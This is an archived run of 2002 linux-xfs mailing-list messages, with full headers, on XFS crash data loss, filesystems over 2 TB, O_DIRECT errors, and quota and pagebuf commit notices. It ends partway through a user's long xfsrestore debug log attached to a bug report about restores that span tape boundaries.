Cc: linux-xfs@oss.sgi.com In-Reply-To: <00e701c28a66$72bf6b80$1601070a@mz.digirati.com.br> References: <00e701c28a66$72bf6b80$1601070a@mz.digirati.com.br> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 12 Nov 2002 10:27:35 -0600 Message-Id: <1037118455.1559.4.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1656 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Well, it's some of both. XFS does not guarantee data integrity on a crash, it only guarantees filesystem consistency. If you flip the switch before a write hits the disk, that data is gone. I think vi does some other tricks with creating swap files & truncating the original, (or something like that) so that could affect the situation. I don't know what XFS looks like in Mandrake 9.0... changes were made quite some time ago to help avoid this, but in the end, flipping the power switch == data loss! -Eric On Tue, 2002-11-12 at 10:13, Michel Machado wrote: > Hi, > > I have a Mandrake 9.0 box using XFS. > > When I edit a file (e.g. /etc/crontab) with vi and have a crash (e.g. > hard reset button) the file is lose, output by hexdump: > > hexdump crontab > 0000000 0000 0000 0000 0000 0000 0000 0000 0000 > * > 0000120 0000 0000 0000 0000 0000 0000 > 000012b > > Is it a feature or a bug? Is there some parameter via sysctl to help? > > [ ]'s > Michel Machado > -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Tue Nov 12 08:45:50 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 08:45:52 -0800 (PST) Received: from w206.web2010.com (w206.web2010.com [216.157.52.254]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACGjouR029909 for ; Tue, 12 Nov 2002 08:45:50 -0800 Received: from avalanche (catv-d5de8916.bp01catv.broadband.hu [213.222.137.22]) by w206.web2010.com (8.9.3/8.9.0) with ESMTP id LAA29461 for ; Tue, 12 Nov 2002 11:47:00 -0500 (EST) Content-Type: text/plain; charset="us-ascii" From: Gabor Forgacs To: linux-xfs@oss.sgi.com Subject: FileSystem >2 Terabytes Date: Tue, 12 Nov 2002 16:48:21 +0100 User-Agent: KMail/1.4.1 MIME-Version: 1.0 Message-Id: <200211121648.21283.gabor@colorfront.com> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gACGjouR029910 X-archive-position: 1657 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: gabor@colorfront.com Precedence: bulk X-list: linux-xfs Hi Is it possible to use any filesystem under linux which is bigger than 2Tbytes. Is there any solution ? Thank you Gabor Forgacs From owner-linux-xfs@oss.sgi.com Tue Nov 12 08:52:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 08:52:44 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACGqeuR030381 for ; Tue, 12 Nov 2002 08:52:41 -0800 Received: from maine.americas.sgi.com (maine.americas.sgi.com [128.162.191.42]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA18475; Tue, 12 Nov 2002 10:54:09 -0600 (CST) Received: from nstraz by maine.americas.sgi.com with local (Exim 3.36 #1 (Debian)) id 18BeIj-0006hQ-00; Tue, 12 Nov 2002 10:54:09 -0600 Date: Tue, 12 Nov 2002 10:54:09 -0600 From: Nathan Straz To: Gabor Forgacs Cc: linux-xfs@oss.sgi.com Subject: Re: FileSystem >2 Terabytes Message-ID: <20021112165409.GC23958@sgi.com> Mail-Followup-To: Gabor Forgacs , linux-xfs@oss.sgi.com References: <200211121648.21283.gabor@colorfront.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200211121648.21283.gabor@colorfront.com> User-Agent: Mutt/1.4i X-archive-position: 1658 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nstraz@sgi.com Precedence: bulk X-list: linux-xfs On Tue, Nov 12, 2002 at 04:48:21PM +0100, Gabor Forgacs wrote: > Is it possible to use any filesystem under linux which is bigger than 2Tbytes. > Is there any solution ? There is no problem creating a filesystem larger than 2TB. The problem in Linux is addressing a block device of that size. Peter Chubb is working on large block devices for Linux. It should be easy to find patches for 2.4.x and 2.5.x in the linux-kernel archives. -- Nate Straz nstraz@sgi.com sgi, inc http://www.sgi.com/ Linux Test Project http://ltp.sf.net/ From owner-linux-xfs@oss.sgi.com Tue Nov 12 08:53:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 08:53:56 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACGrpuR030708 for ; Tue, 12 Nov 2002 08:53:53 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA70358; Tue, 12 Nov 2002 10:55:20 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA14485; Tue, 12 Nov 2002 10:55:19 -0600 (CST) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gACGs2E29920; Tue, 12 Nov 2002 10:54:02 -0600 Subject: RE: open from kernel From: Steve Lord To: santhosh kumar Cc: Eric Sandeen , Seth Mos , linux-xfs@oss.sgi.com In-Reply-To: <72D09F11CC09B645ADE2890F6B442FD81E6BE4@blr-m3-msg.wipro.com> References: <72D09F11CC09B645ADE2890F6B442FD81E6BE4@blr-m3-msg.wipro.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1037120041.27014.39.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 12 Nov 2002 10:54:01 -0600 X-archive-position: 1659 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Tue, 2002-11-12 at 08:43, santhosh kumar wrote: > Hi Eric, > > I am getting EFAULT (14). I feel, this is because i am allocating the memory using alloc_bootmem_pages (during boot time) and hence it not associated with any pages and get_user_pages returns this error. > > Is there any way i can over come this. Any pointers are welcome. O_DIRECT is rather tuned for user memory, it is trying to lock down user memory. Your memory is almost certainly not in this category. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Tue Nov 12 09:01:05 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 09:01:08 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACH14uR031302 for ; Tue, 12 Nov 2002 09:01:04 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id JAA01533 for ; Tue, 12 Nov 2002 09:02:39 -0800 (PST) mail_from (lord@sgi.com) Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA01607; Tue, 12 Nov 2002 10:52:26 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA66453; Tue, 12 Nov 2002 10:52:26 -0600 (CST) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gACGp9129724; Tue, 12 Nov 2002 10:51:09 -0600 Subject: Re: FileSystem >2 Terabytes From: Steve Lord To: Gabor Forgacs Cc: linux-xfs@oss.sgi.com In-Reply-To: <200211121648.21283.gabor@colorfront.com> References: <200211121648.21283.gabor@colorfront.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Message-Id: <1037119867.27025.36.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 12 Nov 2002 10:51:08 -0600 X-archive-position: 1660 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Tue, 2002-11-12 at 09:48, Gabor Forgacs wrote: > Hi > > Is it possible to use any filesystem under linux which is bigger than 2Tbytes. > Is there any solution ? The 2.5 kernel series has support for this, there is a patch for 2.4 as well. We probably need to flip a define in XFS to make it support the large sizes again. Steve -- Steve Lord From owner-linux-xfs@oss.sgi.com Tue Nov 12 11:47:28 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 11:47:32 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACJlRuR003846 for ; Tue, 12 Nov 2002 11:47:28 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA13976 for ; Tue, 12 Nov 2002 13:48:57 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA73930 for ; Tue, 12 Nov 2002 13:48:55 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAD33UN07894 for linux-xfs@oss.sgi.com; Tue, 12 Nov 2002 22:03:30 -0500 Resent-Message-Id: <200211130303.gAD33UN07894@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA63541 for ; Tue, 12 Nov 2002 13:47:38 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gACJlakZ32356060 for ; Tue, 12 Nov 2002 11:47:37 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gACJkFOV001096 for ; Tue, 12 Nov 2002 20:46:15 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gACJkFBK001095 for hch@sgi.com; Tue, 12 Nov 2002 20:46:15 +0100 Date: Tue, 12 Nov 2002 20:46:15 +0100 From: Christoph Hellwig Message-Id: <200211121946.gACJkFBK001095@lab343.munich.sgi.com> Subject: TAKE - Fix unchecked kmalloc() in pagebuf To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Tue, 12 Nov 2002 22:03:30 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1661 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Tue Nov 12 11:46:52 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:132859a linux/fs/xfs/pagebuf/page_buf.c - 1.75 - Free virtual mappings directly if we fail to allocate a aentry From owner-linux-xfs@oss.sgi.com Tue Nov 12 12:15:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 12:15:18 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACKF8uR004576 for ; Tue, 12 Nov 2002 12:15:09 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA99248 for ; Tue, 12 Nov 2002 14:16:34 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA13068 for ; Tue, 12 Nov 2002 14:16:33 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAD3V8e08101 for linux-xfs@oss.sgi.com; Tue, 12 Nov 2002 22:31:08 -0500 Resent-Message-Id: <200211130331.gAD3V8e08101@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA04905 for ; Tue, 12 Nov 2002 14:15:53 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gACKFqkZ27717838 for ; Tue, 12 Nov 2002 12:15:52 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gACKEVKR001111 for ; Tue, 12 Nov 2002 21:14:31 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gACKEVjt001110 for hch@sgi.com; Tue, 12 Nov 2002 21:14:31 +0100 Date: Tue, 12 Nov 2002 21:14:31 +0100 From: Christoph Hellwig Message-Id: <200211122014.gACKEVjt001110@lab343.munich.sgi.com> Subject: TAKE - Remove rootfs special-casing in the quota code To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Tue, 12 Nov 2002 22:31:08 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1662 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs In 2.5 the kernel will very soon no more have a notation of a rootdevice, even in current 2.4 and 2.5 it makes only sense for the early boot process. Because of that the IRIX-inherited special-casing of the root device in the quota code has to go away. This means you have to specify the quota option(s) on the kernel command-line, using rootflags=quota. It also means you have to update the quota tools, either apply my patch at [1] or wait until Jan release a new quota tools version that handles both old and new xfs rootdevice, this will probably happen tomorrow. [1] http://verein.lst.de/~hch/xfs/quota-3.0.6-rootxfs.patch Date: Tue Nov 12 12:11:48 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:132862a linux/fs/xfs/xfs_qm_syscalls.c - 1.72 linux/fs/xfs/xfs_log_recover.c - 1.251 linux/fs/xfs/xfs_mount.h - 1.162 linux/fs/xfs/xfs_mount.c - 1.311 linux/fs/xfs/xfs_qm.c - 1.93 - treat the rootfs like any other filesystem linux/fs/xfs/linux/xfs_linux.h - 1.92 - remove rootdev alias linux/fs/xfs/linux/xfs_super.c - 1.228 - remove MNTOPT_MRQUOTA From owner-linux-xfs@oss.sgi.com Tue Nov 12 13:50:19 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 13:50:26 -0800 (PST) Received: from uwast.astro.wisc.edu (uwast.astro.wisc.edu [144.92.179.130]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACLoIuR005797 for ; Tue, 12 Nov 2002 13:50:19 -0800 Received: from astro.wisc.edu (premo.astro.wisc.edu [144.92.179.236]) by uwast.astro.wisc.edu (8.12.2/8.12.2) with ESMTP id gACLpmbZ4167202 for ; Tue, 12 Nov 2002 15:51:49 -0600 (CST) Message-ID: <3DD177F4.9010109@astro.wisc.edu> Date: Tue, 12 Nov 2002 15:51:48 -0600 From: jansen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021003 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Problems with xfsrestore on Release 1.2pre3 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1663 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jansen@astro.wisc.edu Precedence: bulk X-list: linux-xfs Hi, I'm having two problems with xfsrestore from the Release 1.2pre3 (and Release 1.2pre1) versions of xfsdump/xfsrestore. The first one is fairly innocuous. If I use the the "-S" switch with a session ID xfsrestore will go some distance into the tape and then quit with this message: xfsrestore: WARNING: could not read from drive: Cannot allocate memory (12) xfsrestore: restore complete: 5772 seconds elapsed xfsrestore: Restore Status: SUCCESS This is with and xfsrestore command such as this: xfsrestore -v trace,drive=debug -S dc3df92e-a248-446e-8262-bf260a803b7e -f /dev/nst0 . If I rerun the command it will eventually find the right backup session. The second problem is a little more of a pain. I seem to recall having a similar problem on IRIX but I can't remember what the fix for it was. The problem is that xfsrestore does not restore all the data from a dump session that crosses a tape boundary. It seems that xfsrestore does not restore the data from the end of the first tape but does take the data from the second tape. I am attaching the output from the above xfsrestore command at the end of this message. Here is the xfsdump command used to write the tapes: /usr/sbin/xfsdump -l 0 -T -e -d 2048 -o -L cecilia -Y 7 -f guest@premo:/dev/nst 0 /dev/sda7 I know. The "-Y 7" is a no-op on Linux, it's just a hold over from my IRIX scripts. I saw no errors in the output from xfsdump when writing the dump. Let me know if I can provide any more information. Thanks for any help. Here is my setup and an excerpt from the first part of the output from the xfsrestore command (the rest seemed unimportant and was very large): ----------------------------------------------------------------------- software: RedHat 8.0 - XFS Release 1.2pre3 /etc/modules.conf has "options st max_sg_segs=64" hardware: two processor 2.6GHz Xeon Dell Precision 530 with 2GB RAM, IBM 3581 7 tape LTO tape drive (with Sony tapes) tape drive is only device on an aic7892 Ultra160 SCSI adapter I was restoring the data onto a local 600 GB RAID disk connected to an Adaptec 39160 SCSI controller ------------------------------------------------------------------------- xfsrestore -v trace,drive=debug -S dc3df92e-a248-446e-8262-bf260a803b7e -f /dev/nst0 . xfsrestore: using scsi tape (drive_scsitape) strategy xfsrestore: version 2.2.3 (dump format 3.0) - Running single-threaded xfsrestore: drive op: init xfsrestore: drive op: sync xfsrestore: searching media for dump xfsrestore: drive op: begin read xfsrestore: preparing drive xfsrestore: tape op: opening drive xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: get block size info xfsrestore: variable block size tape drive at /dev/nst0 xfsrestore: tape op: get block size info xfsrestore: recommended tape media file size set to 0x10000000 bytes xfsrestore: recommended tape media mark separation set to 0x1000000 bytes xfsrestore: determining tape record size: trying 1048576 (0x100000) bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape position unknown: searching backward for file mark or BOT xfsrestore: tape op: get fileno xfsrestore: tape op: back space file 1 xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape positioned at file mark xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: nread > 0 and not EOD, not EOT, and not at a file mark on variable b locksize drive indicates correct blocksize found xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 0 xfsrestore: tape record size set to header's record size = 1048576 xfsrestore: read first record of first media file encountered on media: recsz == 1048576 xfsrestore: examining media file 0 xfsrestore: file 0 in object 0 of stream 0 xfsrestore: file 0 in stream, file 0 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 1 xfsrestore: examining media file 1 xfsrestore: file 1 in object 0 of stream 0 xfsrestore: file 1 in stream, file 1 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 2 xfsrestore: examining media file 2 xfsrestore: file 2 in object 0 of stream 0 xfsrestore: file 2 in stream, file 2 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 3 xfsrestore: examining media file 3 xfsrestore: file 3 in object 0 of stream 0 xfsrestore: file 3 in stream, file 3 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 0 xfsrestore: examining media file 0 xfsrestore: file 0 in object 0 of stream 0 xfsrestore: file 0 in stream, file 0 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 1 xfsrestore: examining media file 1 xfsrestore: file 1 in object 0 of stream 0 xfsrestore: file 1 in stream, file 1 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 2 xfsrestore: examining media file 2 xfsrestore: file 2 in object 0 of stream 0 xfsrestore: file 2 in stream, file 2 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 0 xfsrestore: examining media file 0 xfsrestore: file 0 in object 0 of stream 0 xfsrestore: file 0 in stream, file 0 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 1 xfsrestore: examining media file 1 xfsrestore: file 1 in object 0 of stream 0 xfsrestore: file 1 in stream, file 1 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 2 xfsrestore: examining media file 2 xfsrestore: file 2 in object 0 of stream 0 xfsrestore: file 2 in stream, file 2 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 3 xfsrestore: examining media file 3 xfsrestore: file 3 in object 0 of stream 0 xfsrestore: file 3 in stream, file 3 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 0 xfsrestore: examining media file 0 xfsrestore: file 0 in object 0 of stream 0 xfsrestore: file 0 in stream, file 0 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 1 xfsrestore: examining media file 1 xfsrestore: file 1 in object 0 of stream 0 xfsrestore: file 1 in stream, file 1 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 2 xfsrestore: examining media file 2 xfsrestore: file 2 in object 0 of stream 0 xfsrestore: file 2 in stream, file 2 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 3 xfsrestore: examining media file 3 xfsrestore: file 3 in object 0 of stream 0 xfsrestore: file 3 in stream, file 3 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 4 xfsrestore: examining media file 4 xfsrestore: file 4 in object 0 of stream 0 xfsrestore: file 4 in stream, file 4 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 5 xfsrestore: examining media file 5 xfsrestore: file 5 in object 0 of stream 0 xfsrestore: file 5 in stream, file 5 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 6 xfsrestore: examining media file 6 xfsrestore: file 6 in object 0 of stream 0 xfsrestore: file 6 in stream, file 6 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 7 xfsrestore: examining media file 7 xfsrestore: file 7 in object 0 of stream 0 xfsrestore: file 7 in stream, file 7 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 8 xfsrestore: examining media file 8 xfsrestore: file 8 in object 0 of stream 0 xfsrestore: file 8 in stream, file 8 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 9 xfsrestore: examining media file 9 xfsrestore: file 9 in object 0 of stream 0 xfsrestore: file 9 in stream, file 9 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 10 xfsrestore: examining media file 10 xfsrestore: file 10 in object 0 of stream 0 xfsrestore: file 10 in stream, file 10 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 